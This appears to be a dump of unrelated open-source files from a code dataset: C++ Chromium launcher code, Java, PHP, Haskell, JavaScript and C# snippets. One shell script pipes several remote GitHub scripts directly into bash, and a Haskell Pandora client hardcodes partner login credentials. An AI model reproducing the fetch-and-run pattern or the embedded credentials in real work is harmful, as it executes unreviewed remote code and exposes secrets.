ChromeLauncherControllerPerBrowser::GetBrowserShortcutResourceId() { return IDR_PRODUCT_LOGO_32; } string16 ChromeLauncherControllerPerBrowser::GetTitle( const ash::LauncherItem& item) { DCHECK(HasItemController(item.id)); return id_to_item_controller_map_[item.id]->GetTitle(); } ui::MenuModel* ChromeLauncherControllerPerBrowser::CreateContextMenu( const ash::LauncherItem& item, aura::RootWindow* root_window) { return new LauncherContextMenu(this, &item, root_window); } ash::LauncherMenuModel* ChromeLauncherControllerPerBrowser::CreateApplicationMenu( const ash::LauncherItem& item, int event_flags) { // Not used by this launcher type. return NULL; } ash::LauncherID ChromeLauncherControllerPerBrowser::GetIDByWindow( aura::Window* window) { for (IDToItemControllerMap::const_iterator i = id_to_item_controller_map_.begin(); i != id_to_item_controller_map_.end(); ++i) { if (i->second->HasWindow(window)) return i->first; } return 0; } bool ChromeLauncherControllerPerBrowser::IsDraggable( const ash::LauncherItem& item) { return item.type == ash::TYPE_APP_SHORTCUT ? CanPin() : true; } bool ChromeLauncherControllerPerBrowser::ShouldShowTooltip( const ash::LauncherItem& item) { if (item.type == ash::TYPE_APP_PANEL && id_to_item_controller_map_[item.id]->IsVisible()) return false; return true; } void ChromeLauncherControllerPerBrowser::OnLauncherCreated( ash::Launcher* launcher) { launchers_.insert(launcher); launcher->shelf_widget()->shelf_layout_manager()->AddObserver(this); } void ChromeLauncherControllerPerBrowser::OnLauncherDestroyed( ash::Launcher* launcher) { launchers_.erase(launcher); // RemoveObserver is not called here, since by the time this method is called // Launcher is already in its destructor. } void ChromeLauncherControllerPerBrowser::LauncherItemAdded(int index) { } void ChromeLauncherControllerPerBrowser::LauncherItemRemoved( int index, ash::LauncherID id) { } void ChromeLauncherControllerPerBrowser::LauncherItemMoved( int start_index, int target_index) { ash::LauncherID id = model_->items()[target_index].id; if (HasItemController(id) && IsPinned(id)) PersistPinnedState(); } void ChromeLauncherControllerPerBrowser::LauncherItemChanged( int index, const ash::LauncherItem& old_item) { ash::LauncherID id = model_->items()[index].id; id_to_item_controller_map_[id]->LauncherItemChanged(index, old_item); } void ChromeLauncherControllerPerBrowser::LauncherStatusChanged() { } void ChromeLauncherControllerPerBrowser::Observe( int type, const content::NotificationSource& source, const content::NotificationDetails& details) { switch (type) { case chrome::NOTIFICATION_EXTENSION_LOADED: { const Extension* extension = content::Details<const Extension>(details).ptr(); if (IsAppPinned(extension->id())) { // Clear and re-fetch to ensure icon is up-to-date. app_icon_loader_->ClearImage(extension->id()); app_icon_loader_->FetchImage(extension->id()); } UpdateAppLaunchersFromPref(); break; } case chrome::NOTIFICATION_EXTENSION_UNLOADED: { const content::Details<extensions::UnloadedExtensionInfo>& unload_info( details); const Extension* extension = unload_info->extension; if (IsAppPinned(extension->id())) { if (unload_info->reason == extension_misc::UNLOAD_REASON_UNINSTALL) { DoUnpinAppsWithID(extension->id()); app_icon_loader_->ClearImage(extension->id()); } else { app_icon_loader_->UpdateImage(extension->id()); } } break; } default: NOTREACHED() << "Unexpected notification type=" << type; } } void ChromeLauncherControllerPerBrowser::OnShelfAlignmentChanged( aura::RootWindow* root_window) { const char* pref_value = NULL; switch (ash::Shell::GetInstance()->GetShelfAlignment(root_window)) { case ash::SHELF_ALIGNMENT_BOTTOM: pref_value = ash::kShelfAlignmentBottom; break; case ash::SHELF_ALIGNMENT_LEFT: pref_value = ash::kShelfAlignmentLeft; break; case ash::SHELF_ALIGNMENT_RIGHT: pref_value = ash::kShelfAlignmentRight; break; case ash::SHELF_ALIGNMENT_TOP: pref_value = ash::kShelfAlignmentTop; break; } UpdatePerDisplayPref( profile_->GetPrefs(), root_window, prefs::kShelfAlignment, pref_value); if (root_window == ash::Shell::GetPrimaryRootWindow()) { // See comment in |kShelfAlignment| about why we have two prefs here. profile_->GetPrefs()->SetString(prefs::kShelfAlignmentLocal, pref_value); profile_->GetPrefs()->SetString(prefs::kShelfAlignment, pref_value); } } void ChromeLauncherControllerPerBrowser::OnDisplayConfigurationChanging() { } void ChromeLauncherControllerPerBrowser::OnDisplayConfigurationChanged() { SetShelfBehaviorsFromPrefs(); } void ChromeLauncherControllerPerBrowser::OnIsSyncingChanged() { PrefServiceSyncable* prefs = PrefServiceSyncable::FromProfile(profile_); MaybePropagatePrefToLocal(prefs, prefs::kShelfAlignmentLocal, prefs::kShelfAlignment); MaybePropagatePrefToLocal(prefs, prefs::kShelfAutoHideBehaviorLocal, prefs::kShelfAutoHideBehavior); } void ChromeLauncherControllerPerBrowser::OnAppSyncUIStatusChanged() { if (app_sync_ui_state_->status() == AppSyncUIState::STATUS_SYNCING) model_->SetStatus(ash::LauncherModel::STATUS_LOADING); else model_->SetStatus(ash::LauncherModel::STATUS_NORMAL); } void ChromeLauncherControllerPerBrowser::ExtensionEnableFlowFinished() { LaunchApp(extension_enable_flow_->extension_id(), ui::EF_NONE); extension_enable_flow_.reset(); } void ChromeLauncherControllerPerBrowser::ExtensionEnableFlowAborted( bool user_initiated) { extension_enable_flow_.reset(); } void ChromeLauncherControllerPerBrowser::PersistPinnedState() { // It is a coding error to call PersistPinnedState() if the pinned apps are // not user-editable. The code should check earlier and not perform any // modification actions that trigger persisting the state. if (!CanPin()) { NOTREACHED() << "Can't pin but pinned state being updated"; return; } // Mutating kPinnedLauncherApps is going to notify us and trigger us to // process the change. We don't want that to happen so remove ourselves as a // listener. pref_change_registrar_.Remove(prefs::kPinnedLauncherApps); { ListPrefUpdate updater(profile_->GetPrefs(), prefs::kPinnedLauncherApps); updater->Clear(); for (size_t i = 0; i < model_->items().size(); ++i) { if (model_->items()[i].type == ash::TYPE_APP_SHORTCUT) { ash::LauncherID id = model_->items()[i].id; if (HasItemController(id) && IsPinned(id)) { base::DictionaryValue* app_value = ash::CreateAppDict( id_to_item_controller_map_[id]->app_id()); if (app_value) updater->Append(app_value); } } } } pref_change_registrar_.Add( prefs::kPinnedLauncherApps, base::Bind(&ChromeLauncherControllerPerBrowser:: UpdateAppLaunchersFromPref, base::Unretained(this))); } ash::LauncherModel* ChromeLauncherControllerPerBrowser::model() { return model_; } Profile* ChromeLauncherControllerPerBrowser::profile() { return profile_; } Profile* ChromeLauncherControllerPerBrowser::GetProfileForNewWindows() { return ProfileManager::GetDefaultProfileOrOffTheRecord(); } void ChromeLauncherControllerPerBrowser::LauncherItemClosed( ash::LauncherID id) { IDToItemControllerMap::iterator iter = id_to_item_controller_map_.find(id); DCHECK(iter != id_to_item_controller_map_.end()); app_icon_loader_->ClearImage(iter->second->app_id()); iter->second->OnRemoved(); id_to_item_controller_map_.erase(iter); model_->RemoveItemAt(model_->ItemIndexByID(id)); } void ChromeLauncherControllerPerBrowser::DoPinAppWithID( const std::string& app_id) { // If there is an item, do nothing and return. if (IsAppPinned(app_id)) return; ash::LauncherID launcher_id = GetLauncherIDForAppID(app_id); if (launcher_id) { // App item exists, pin it Pin(launcher_id); } else { // Otherwise, create a shortcut item for it. CreateAppShortcutLauncherItem(app_id, model_->item_count()); if (CanPin()) PersistPinnedState(); } } void ChromeLauncherControllerPerBrowser::DoUnpinAppsWithID( const std::string& app_id) { for (IDToItemControllerMap::iterator i = id_to_item_controller_map_.begin(); i != id_to_item_controller_map_.end(); ) { IDToItemControllerMap::iterator current(i); ++i; if (current->second->app_id() == app_id && IsPinned(current->first)) Unpin(current->first); } } void ChromeLauncherControllerPerBrowser::UpdateAppLaunchersFromPref() { // Construct a vector representation of to-be-pinned apps from the pref. std::vector<std::string> pinned_apps; const base::ListValue* pinned_apps_pref = profile_->GetPrefs()->GetList(prefs::kPinnedLauncherApps); for (base::ListValue::const_iterator it(pinned_apps_pref->begin()); it != pinned_apps_pref->end(); ++it) { DictionaryValue* app = NULL; std::string app_id; if ((*it)->GetAsDictionary(&app) && app->GetString(ash::kPinnedAppsPrefAppIDPath, &app_id) && std::find(pinned_apps.begin(), pinned_apps.end(), app_id) == pinned_apps.end() && app_tab_helper_->IsValidID(app_id)) { pinned_apps.push_back(app_id); } } // Walk the model and |pinned_apps| from the pref lockstep, adding and // removing items as necessary. NB: This code uses plain old indexing instead // of iterators because of model mutations as part of the loop. std::vector<std::string>::const_iterator pref_app_id(pinned_apps.begin()); int index = 0; for (; index < model_->item_count() && pref_app_id != pinned_apps.end(); ++index) { // If the next app launcher according to the pref is present in the model, // delete all app launcher entries in between. if (IsAppPinned(*pref_app_id)) { for (; index < model_->item_count(); ++index) { const ash::LauncherItem& item(model_->items()[index]); if (item.type != ash::TYPE_APP_SHORTCUT) continue; IDToItemControllerMap::const_iterator entry = id_to_item_controller_map_.find(item.id); if (entry != id_to_item_controller_map_.end() && entry->second->app_id() == *pref_app_id) { ++pref_app_id; break; } else { LauncherItemClosed(item.id); --index; } } // If the item wasn't found, that means id_to_item_controller_map_ // is out of sync. DCHECK(index < model_->item_count()); } else { // This app wasn't pinned before, insert a new entry. ash::LauncherID id = CreateAppShortcutLauncherItem(*pref_app_id, index); index = model_->ItemIndexByID(id); ++pref_app_id; } } // Remove any trailing existing items. while (index < model_->item_count()) { const ash::LauncherItem& item(model_->items()[index]); if (item.type == ash::TYPE_APP_SHORTCUT) LauncherItemClosed(item.id); else ++index; } // Append unprocessed items from the pref to the end of the model. for (; pref_app_id != pinned_apps.end(); ++pref_app_id) DoPinAppWithID(*pref_app_id); } void ChromeLauncherControllerPerBrowser::SetShelfAutoHideBehaviorPrefs( ash::ShelfAutoHideBehavior behavior, aura::RootWindow* root_window) { const char* value = NULL; switch (behavior) { case ash::SHELF_AUTO_HIDE_BEHAVIOR_ALWAYS: value = ash::kShelfAutoHideBehaviorAlways; break; case ash::SHELF_AUTO_HIDE_BEHAVIOR_NEVER: value = ash::kShelfAutoHideBehaviorNever; break; case ash::SHELF_AUTO_HIDE_ALWAYS_HIDDEN: // This one should not be a valid preference option for now. We only want // to completely hide it when we run app mode. NOTREACHED(); return; } UpdatePerDisplayPref( profile_->GetPrefs(), root_window, prefs::kShelfAutoHideBehavior, value); if (root_window == ash::Shell::GetPrimaryRootWindow()) { // See comment in |kShelfAlignment| about why we have two prefs here. profile_->GetPrefs()->SetString(prefs::kShelfAutoHideBehaviorLocal, value); profile_->GetPrefs()->SetString(prefs::kShelfAutoHideBehavior, value); } } void ChromeLauncherControllerPerBrowser::SetShelfAutoHideBehaviorFromPrefs() { ash::Shell::RootWindowList root_windows; if (ash::Shell::IsLauncherPerDisplayEnabled()) root_windows = ash::Shell::GetAllRootWindows(); else root_windows.push_back(ash::Shell::GetPrimaryRootWindow()); for (ash::Shell::RootWindowList::const_iterator iter = root_windows.begin(); iter != root_windows.end(); ++iter) { ash::Shell::GetInstance()->SetShelfAutoHideBehavior( GetShelfAutoHideBehavior(*iter), *iter); } } void ChromeLauncherControllerPerBrowser::SetShelfAlignmentFromPrefs() { if (!CommandLine::ForCurrentProcess()->HasSwitch( switches::kShowLauncherAlignmentMenu)) return; ash::Shell::RootWindowList root_windows; if (ash::Shell::IsLauncherPerDisplayEnabled()) root_windows = ash::Shell::GetAllRootWindows(); else root_windows.push_back(ash::Shell::GetPrimaryRootWindow()); for (ash::Shell::RootWindowList::const_iterator iter = root_windows.begin(); iter != root_windows.end(); ++iter) { // See comment in |kShelfAlignment| as to why we consider two prefs. const std::string alignment_value( GetPrefForRootWindow(profile_->GetPrefs(), *iter, prefs::kShelfAlignmentLocal, prefs::kShelfAlignment)); ash::ShelfAlignment alignment = ash::SHELF_ALIGNMENT_BOTTOM; if (alignment_value == ash::kShelfAlignmentLeft) alignment = ash::SHELF_ALIGNMENT_LEFT; else if (alignment_value == ash::kShelfAlignmentRight) alignment = ash::SHELF_ALIGNMENT_RIGHT; else if (alignment_value == ash::kShelfAlignmentTop) alignment = ash::SHELF_ALIGNMENT_TOP; ash::Shell::GetInstance()->SetShelfAlignment(alignment, *iter); } } void ChromeLauncherControllerPerBrowser::SetShelfBehaviorsFromPrefs() { SetShelfAutoHideBehaviorFromPrefs(); SetShelfAlignmentFromPrefs(); } WebContents* ChromeLauncherControllerPerBrowser::GetLastActiveWebContents( const std::string& app_id) { AppIDToWebContentsListMap::const_iterator i = app_id_to_web_contents_list_.find(app_id); if (i == app_id_to_web_contents_list_.end()) return NULL; DCHECK_GT(i->second.size(), 0u); return *i->second.begin(); } ash::LauncherID ChromeLauncherControllerPerBrowser::InsertAppLauncherItem( LauncherItemController* controller, const std::string& app_id, ash::LauncherItemStatus status, int index) { ash::LauncherID id = model_->next_id(); DCHECK(!HasItemController(id)); DCHECK(controller); id_to_item_controller_map_[id] = controller; controller->set_launcher_id(id); ash::LauncherItem item; item.type = controller->GetLauncherItemType(); item.is_incognito = false; item.image = extensions::IconsInfo::GetDefaultAppIcon(); WebContents* active_tab = GetLastActiveWebContents(app_id); if (active_tab) { Browser* browser = chrome::FindBrowserWithWebContents(active_tab); DCHECK(browser); if (browser->window()->IsActive()) status = ash::STATUS_ACTIVE; else status = ash::STATUS_RUNNING; } item.status = status; model_->AddAt(index, item); app_icon_loader_->FetchImage(app_id); return id; } bool ChromeLauncherControllerPerBrowser::HasItemController( ash::LauncherID id) const { return id_to_item_controller_map_.find(id) != id_to_item_controller_map_.end(); } ash::LauncherID ChromeLauncherControllerPerBrowser::CreateAppShortcutLauncherItem( const std::string& app_id, int index) { AppShortcutLauncherItemController* controller = new AppShortcutLauncherItemController(app_id, this); ash::LauncherID launcher_id = InsertAppLauncherItem( controller, app_id, ash::STATUS_CLOSED, index); return launcher_id; } void ChromeLauncherControllerPerBrowser::SetAppTabHelperForTest( AppTabHelper* helper) { app_tab_helper_.reset(helper); } void ChromeLauncherControllerPerBrowser::SetAppIconLoaderForTest( extensions::AppIconLoader* loader) { app_icon_loader_.reset(loader); } const std::string& ChromeLauncherControllerPerBrowser::GetAppIdFromLauncherIdForTest( ash::LauncherID id) { return id_to_item_controller_map_[id]->app_id(); }
bsd-3-clause
FuseMCNetwork/ZSurvivalGames
src/main/java/me/michidk/zsurvivalgames/utils/MathHelper.java
1791
package me.michidk.zsurvivalgames.utils; import org.bukkit.Bukkit; import org.bukkit.Location; import org.bukkit.entity.Player; import java.util.ArrayList; import java.util.List; /** * Created with IntelliJ IDEA. * User: ml * Date: 03.09.13 * Time: 13:33 * To change this template use File | Settings | File Templates. */ public class MathHelper { public static List<Location> getCircleLocs(Location loc, Integer r, Integer h, Boolean hollow, Boolean sphere, int plus_y) { List<Location> circleblocks = new ArrayList<>(); int cx = loc.getBlockX(); int cy = loc.getBlockY(); int cz = loc.getBlockZ(); for (int x = cx - r; x <= cx + r; x++) { for (int z = cz - r; z <= cz + r; z++) { for (int y = (sphere ? cy - r : cy); y < (sphere ? cy + r : cy + h); y++) { double dist = (cx - x) * (cx - x) + (cz - z) * (cz - z) + (sphere ? (cy - y) * (cy - y) : 0); if (dist < r * r && !(hollow && dist < (r - 1) * (r - 1))) { circleblocks.add(new Location(loc.getWorld(), x, y + plus_y, z)); } } } } return circleblocks; } public static double getPercentage(int now, int max) { return Math.round(((double) now / (double) max) * 100D) / 100D; } public static void setXPProgress(Player p, int now, int max) { p.setLevel(now); p.setExp(1 - (float) (getPercentage(now, max))); } public static void setXPProgress(int now, int max) { for (Player p : Bukkit.getOnlinePlayers()) { setXPProgress(p, now, max); } } public static float toDegree(double angle) { return (float) Math.toDegrees(angle); } }
bsd-3-clause
junun/shell
linux/node.nginx.sh
453
curl -s https://raw.github.com/netkiller/shell/master/centos6.sh | bash curl -s https://raw.github.com/netkiller/shell/master/modules/ntp.sh | bash curl -s https://raw.github.com/netkiller/shell/master/filesystem/btrfs.sh | bash curl -s https://raw.github.com/netkiller/shell/master/nginx/nginx.sh | bash curl -s https://raw.github.com/netkiller/shell/master/php/5.4.x.sh | bash curl -s https://raw.github.com/netkiller/shell/master/php/redis.sh | bash
bsd-3-clause
DevGroup-ru/yii2-deferred-tasks
tests/ExampleTest.php
195
<?php namespace DevGroup\DeferredTasks\Tests; class ExampleTest extends \PHPUnit_Framework_TestCase { public function testExample() { $this->assertEquals('foo', 'foo'); } }
bsd-3-clause
merc1031/haskell-sonos-http-api
src/Sonos/Plugins/Pandora.hs
5076
{-# LANGUAGE OverloadedStrings #-} {-# LANGUAGE RecordWildCards #-} module Sonos.Plugins.Pandora ( login , getStationList , searchStation , createStation , module Sonos.Plugins.Pandora.Types ) where import Sonos.Plugins.Pandora.Types import Sonos.Plugins.Pandora.Crypt import Network.Wreq import Control.Monad import Network.HTTP.Types.Status (status200) import Control.Lens ((^?), (^?!), (.~), (&)) import qualified Data.Time.Clock.POSIX as POSIX import qualified Data.Aeson as J import qualified Data.ByteString.Lazy as BSL import qualified Data.ByteString.Char8 as BSC endpoint = "http://tuner.pandora.com/services/json/" endpointSecure = "https://tuner.pandora.com/services/json/" mkPandoraRequest (PandoraWorld {..}) a = do adjustedSyncTime <- adjustSyncTime pwSyncTime pwTimeSynced return $ PandoraRequest a adjustedSyncTime pwUserAuthToken userAgent = "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.7 (KHTML, like Gecko) Chrome/16.0.912.63 Safari/535.7" partnerLogin = do let plUserName = "android" plPassword = "AC7IBG09A3DTSYM4R41UJWL07VLN8JI7" plDeviceModel = "android-generic" plVersion = "5" plIncludeUrls = True pl = PartnerLogin {..} target = endpointSecure postBody = J.encode $ pl opts = defaults & header "Content-type" .~ ["text/plain; charset=utf8"] & header "User-Agent" .~ [userAgent] & param "method" .~ ["auth.partnerLogin"] resp <- postWith opts target postBody let Just (Right resp') = fmap J.eitherDecode $ resp ^? responseBody :: Maybe (Either String (PandoraReply PartnerLoginReply)) let readSyncTime = plrSyncTime $ prResult $ resp' decodedSyncTime = decSyncTime readSyncTime unixSyncTime <- fmap floor POSIX.getPOSIXTime return (read $ BSC.unpack decodedSyncTime , plrPartnerId $ prResult $ resp' , plrPartnerAuthToken $ prResult $ resp' , unixSyncTime ) userLogin ulSyncTime partnerId ulPartnerAuthToken ulUserName ulPassword = do let ul = UserLogin {..} target = endpointSecure postBody = J.encode $ ul postBodyC = enc $ BSL.toStrict postBody opts = defaults & header "Content-type" .~ ["text/plain; charset=utf8"] & header "User-Agent" .~ [userAgent] & param "method" .~ ["auth.userLogin"] & param "partner_id" .~ [partnerId] & param "auth_token" .~ [ulPartnerAuthToken] resp <- postWith opts target postBodyC let Just (Right resp') = fmap J.eitherDecode $ resp ^? responseBody :: Maybe (Either String (PandoraReply UserLoginReply)) return (ulrUserAuthToken $ prResult resp', ulrUserId $ prResult resp', not $ ulrHasAudioAds $ prResult resp') login email password = do (pwSyncTime, pwPartnerId, pauth, pwTimeSynced) <- partnerLogin (pwUserAuthToken, pwUserId, pwHasSub) <- userLogin pwSyncTime pwPartnerId pauth email password return (PandoraWorld {..}) adjustSyncTime syncTime timeSynced = do now <- fmap floor POSIX.getPOSIXTime return $ syncTime + (now - timeSynced) handle resp = do when (resp ^?! responseStatus /= status200) $ do putStrLn $ show (resp ^?! responseBody) getStationList pw@(PandoraWorld {..}) = do let target = endpoint slIncludeStationArtUrl = True resp <- postIt' pw "user.getStationList" $ StationList {..} let Just (Right resp') = fmap J.eitherDecode $ resp ^? responseBody :: Maybe (Either String (PandoraReply StationListReply)) return $ slrStations $ prResult $ resp' searchStation pw@(PandoraWorld {..}) t = do let target = endpoint msSearchText = t resp <- postIt' pw "music.search" $ MusicSearch {..} let Just (Right resp') = fmap J.eitherDecode $ resp ^? responseBody :: Maybe (Either String (PandoraReply MusicSearchReply)) return $ prResult $ resp' createStation pw@(PandoraWorld {..}) t = do let target = endpoint csToken = t resp <- postIt' pw "station.createStation" $ CreateStation {..} let Just (Right resp') = fmap J.eitherDecode $ resp ^? responseBody :: Maybe (Either String (PandoraReply CreateStationReply)) return $ prResult $ resp' postIt' pw method js = do resp <- postIt pw method js handle resp return resp postIt pw@(PandoraWorld {..}) method js = do preq <- mkPandoraRequest pw js let target = endpoint postBody = J.encode $ preq postBodyC = enc $ BSL.toStrict postBody opts = defaults & header "Content-type" .~ ["text/plain; charset=utf8"] & header "User-Agent" .~ [userAgent] & param "method" .~ [method] & param "partner_id" .~ [pwPartnerId] & param "auth_token" .~ [pwUserAuthToken] & param "user_id" .~ [pwUserId] resp <- postWith opts target postBodyC return resp
bsd-3-clause
sergeyreznik/et-engine
tools/FontGen/main.cpp
2573
#include <crtdbg.h> #include "stdafx.h" #include <et/core/tools.h> #include <et/gui/fontgen.h> using namespace et; using namespace et::gui; const int maxFontSize = 128; const int maxFontOffset = 32; void displayHelp(_TCHAR* argv[]) { std::cout << "Using: " << std::endl << getFileName(argv[0]) << std::endl << " -out OUTFILENAME" << std::endl << " -face FONTFACE" << std::endl << " -size FONTSIZE" << std::endl << " -offset CHAROFFSET" << std::endl; } int _tmain(int argc, _TCHAR* argv[]) { _CrtSetDbgFlag(_CRTDBG_ALLOC_MEM_DF | _CRTDBG_LEAK_CHECK_DF); std::string fontFace = "Tahoma"; std::string fontSize = "12"; std::string outFile = ""; std::string fontOffset = "0"; if ((argc == 1) || (argc % 2 == 0)) { displayHelp(argv); return 0; } for (int i = 1; i < argc; ++i) { if (strcmp(argv[i], "-help") == 0) { displayHelp(argv); return 0; } else if (strcmp(argv[i], "-out") == 0) { if (++i >= argc) break; outFile = argv[i]; } else if (strcmp(argv[i], "-face") == 0) { if (++i >= argc) break; fontFace = argv[i]; } else if (strcmp(argv[i], "-size") == 0) { if (++i >= argc) break; fontSize = argv[i]; } else if (strcmp(argv[i], "-offset") == 0) { if (++i >= argc) break; fontOffset = argv[i]; } } if (outFile.size() == 0) outFile = fontFace; FontGenerator gen; gen.setFontFace(fontFace); gen.setOutputFile(outFile); int size = strToInt(fontSize); if ((size < 0) || (size > maxFontSize)) { std::cout << "Font size is not valid. Should be greater than zero and less than " << maxFontSize << std::endl; return 0; } gen.setSize(size); int offset = strToInt(fontOffset); if ((offset < 0) || (offset > maxFontOffset)) { std::cout << "Font offset is not valid. Should be greater than zero and less than " << maxFontSize << std::endl; return 0; } gen.setOffset(static_cast<float>(offset)); std::cout << "Generating font: " << fontFace << ", " << fontSize << std::endl; std::cout.flush(); switch (gen.generate()) { case FontGeneratorResult_OutputFileFailed: { std::cout << "Output file failed to write." << std::endl; break; } case FontGeneratorResult_OutputFileNotDefined: { std::cout << "Output file is not defined." << std::endl; break; } case FontGeneratorResult_Success: { std::cout << "Success" << std::endl; break; } default: { std::cout << "???" << std::endl; } } return 0; }
bsd-3-clause
evgeniyosipov/facshop
facshop-store/src/main/java/ru/evgeniyosipov/facshop/store/ejb/AdministratorBean.java
2075
package ru.evgeniyosipov.facshop.store.ejb; import ru.evgeniyosipov.facshop.entity.Administrator; import ru.evgeniyosipov.facshop.entity.Groups; import javax.ejb.Stateless; import javax.persistence.EntityManager; import javax.persistence.PersistenceContext; import javax.persistence.Query; import ru.evgeniyosipov.facshop.entity.Person; @Stateless public class AdministratorBean extends AbstractFacade<Administrator> { @PersistenceContext(unitName = "facshopPU") private EntityManager em; private boolean lastAdministrator; @Override protected EntityManager getEntityManager() { return em; } public Person getAdministratorByEmail(String email) { Query createNamedQuery = getEntityManager().createNamedQuery("Person.findByEmail"); createNamedQuery.setParameter("email", email); if (createNamedQuery.getResultList().size() > 0) { return (Person) createNamedQuery.getSingleResult(); } else { return null; } } public AdministratorBean() { super(Administrator.class); } @Override public void create(Administrator admin) { Groups adminGroup = (Groups) em.createNamedQuery("Groups.findByName") .setParameter("name", "ADMINS") .getSingleResult(); admin.getGroupsList().add(adminGroup); adminGroup.getPersonList().add(admin); em.persist(admin); em.merge(adminGroup); } public boolean isLastAdmimistrator() { return lastAdministrator; } @Override public void remove(Administrator admin) { Groups adminGroup = (Groups) em.createNamedQuery("Groups.findByName") .setParameter("name", "ADMINS") .getSingleResult(); if (adminGroup.getPersonList().size() > 1) { adminGroup.getPersonList().remove(admin); em.remove(em.merge(admin)); em.merge(adminGroup); lastAdministrator = false; } else { lastAdministrator = true; } } }
bsd-3-clause
vulcan-estudios/bsk
src/app/helpers/events/keypress/backspace.js
552
/** * Keydown * */ module.exports = function() { /* * this swallows backspace keys on any non-input element. * stops backspace -> back */ var rx = /INPUT|SELECT|TEXTAREA/i; $('body').bind("keydown keypress", function(e) { var key = e.keyCode || e.which; if( key == 8) { // 8 == backspace or ENTER if(!rx.test(e.target.tagName) || e.target.disabled || e.target.readOnly ){ e.preventDefault(); } } else if(key == 13) { } }); };
bsd-3-clause
kd-brinex/kd
modules/autoparts/views/over/index.php
1271
<?php use yii\helpers\Html; use yii\grid\GridView; /* @var $this yii\web\View */ /* @var $searchModel app\modules\autoparts\models\PartOverSearch */ /* @var $dataProvider yii\data\ActiveDataProvider */ $this->title = 'Part Overs'; $this->params['breadcrumbs'][] = $this->title; ?> <div class="part-over-index"> <h1><?= Html::encode($this->title) ?></h1> <?php // echo $this->render('_search', ['model' => $searchModel]); ?> <p> <?= Html::a('Создать запись', ['create'], ['class' => 'btn btn-success']) ?> <?= Html::a('Загрузить CSV файл', ['upload'], ['class' => 'btn btn-primary']) ?> </p> <?= GridView::widget([ 'dataProvider' => $dataProvider, 'filterModel' => $searchModel, 'columns' => [ ['class' => 'yii\grid\SerialColumn'], 'code', 'name', 'manufacture', 'price', 'quantity', 'date_update', 'flagpostav', // 'srokmin', // 'srokmax', // 'lotquantity', // 'pricedate', // 'skladid', // 'sklad', // 'flagpostav', ['class' => 'yii\grid\ActionColumn'], ], ]); ?> </div>
bsd-3-clause
MiguelMadero/fluent-nhibernate
src/FluentNHibernate.Testing/ConventionsTests/OverridingFluentInterface/ManyToOneConventionTests.cs
6014
using System; using System.Linq; using System.Linq.Expressions; using FluentNHibernate.Automapping.TestFixtures; using FluentNHibernate.Conventions.Helpers.Builders; using FluentNHibernate.Conventions.Instances; using FluentNHibernate.Mapping; using FluentNHibernate.MappingModel; using FluentNHibernate.MappingModel.Identity; using NUnit.Framework; namespace FluentNHibernate.Testing.ConventionsTests.OverridingFluentInterface { [TestFixture] public class ManyToOneConventionTests { private PersistenceModel model; private IMappingProvider mapping; private Type mappingType; [SetUp] public void CreatePersistenceModel() { model = new PersistenceModel(); } [Test] public void AccessShouldntBeOverwritten() { Mapping(x => x.Access.Field()); Convention(x => x.Access.Property()); VerifyModel(x => x.Access.ShouldEqual("field")); } [Test] public void CascadeShouldntBeOverwritten() { Mapping(x => x.Cascade.All()); Convention(x => x.Cascade.None()); VerifyModel(x => x.Cascade.ShouldEqual("all")); } [Test] public void ClassShouldntBeOverwritten() { Mapping(x => x.Class(typeof(string))); Convention(x => x.CustomClass(typeof(int))); VerifyModel(x => x.Class.GetUnderlyingSystemType().ShouldEqual(typeof(string))); } [Test] public void ColumnShouldntBeOverwritten() { Mapping(x => x.Column("name")); Convention(x => x.Column("xxx")); VerifyModel(x => x.Columns.First().Name.ShouldEqual("name")); } [Test] public void FetchShouldntBeOverwritten() { Mapping(x => x.Fetch.Join()); Convention(x => x.Fetch.Select()); VerifyModel(x => x.Fetch.ShouldEqual("join")); } [Test] public void IndexShouldntBeOverwritten() { Mapping(x => x.Index("index")); Convention(x => x.Index("value")); VerifyModel(x => x.Columns.First().Index.ShouldEqual("index")); } [Test] public void InsertShouldntBeOverwritten() { Mapping(x => x.Insert()); Convention(x => x.Not.Insert()); VerifyModel(x => x.Insert.ShouldBeTrue()); } [Test] public void LazyShouldntBeOverwritten() { Mapping(x => x.LazyLoad()); Convention(x => x.Not.LazyLoad()); VerifyModel(x => x.Lazy.ShouldEqual(true)); } [Test] public void NotFoundShouldntBeOverwritten() { Mapping(x => x.NotFound.Exception()); Convention(x => x.NotFound.Ignore()); VerifyModel(x => x.NotFound.ShouldEqual("exception")); } [Test] public void NullableShouldntBeOverwritten() { Mapping(x => x.Nullable()); Convention(x => x.Not.Nullable()); VerifyModel(x => x.Columns.First().NotNull.ShouldBeFalse()); } [Test] public void PropertyRefShouldntBeOverwritten() { Mapping(x => x.PropertyRef("ref")); Convention(x => x.PropertyRef("xxx")); VerifyModel(x => x.PropertyRef.ShouldEqual("ref")); } [Test] public void ReadOnlyShouldntBeOverwritten() { Mapping(x => x.ReadOnly()); Convention(x => x.Not.ReadOnly()); VerifyModel(x => { x.Insert.ShouldBeFalse(); x.Update.ShouldBeFalse(); }); } [Test] public void UniqueShouldntBeOverwritten() { Mapping(x => x.Unique()); Convention(x => x.Not.Unique()); VerifyModel(x => x.Columns.First().Unique.ShouldBeTrue()); } [Test] public void UniqueKeyShouldntBeOverwritten() { Mapping(x => x.UniqueKey("key")); Convention(x => x.UniqueKey("xxx")); VerifyModel(x => x.Columns.First().UniqueKey.ShouldEqual("key")); } [Test] public void UpdateShouldntBeOverwritten() { Mapping(x => x.Update()); Convention(x => x.Not.Update()); VerifyModel(x => x.Update.ShouldBeTrue()); } [Test] public void ForeignKeyShouldntBeOverwritten() { Mapping(x => x.ForeignKey("key")); Convention(x => x.ForeignKey("xxx")); VerifyModel(x => x.ForeignKey.ShouldEqual("key")); } #region Helpers private void Convention(Action<IManyToOneInstance> convention) { model.Conventions.Add(new ReferenceConventionBuilder().Always(convention)); } private void Mapping(Action<ManyToOnePart<ExampleParentClass>> mappingDefinition) { var classMap = new ClassMap<ExampleClass>(); var map = classMap.References(x => x.Parent); mappingDefinition(map); mapping = classMap; mappingType = typeof(ExampleClass); } private void VerifyModel(Action<ManyToOneMapping> modelVerification) { model.Add(mapping); var generatedModels = model.BuildMappings(); var modelInstance = generatedModels .First(x => x.Classes.FirstOrDefault(c => c.Type == mappingType) != null) .Classes.First() .References.First(); modelVerification(modelInstance); } #endregion } }
bsd-3-clause
ZeitOnline/celery_longterm_scheduler
src/celery_longterm_scheduler/tests/test_task.py
3059
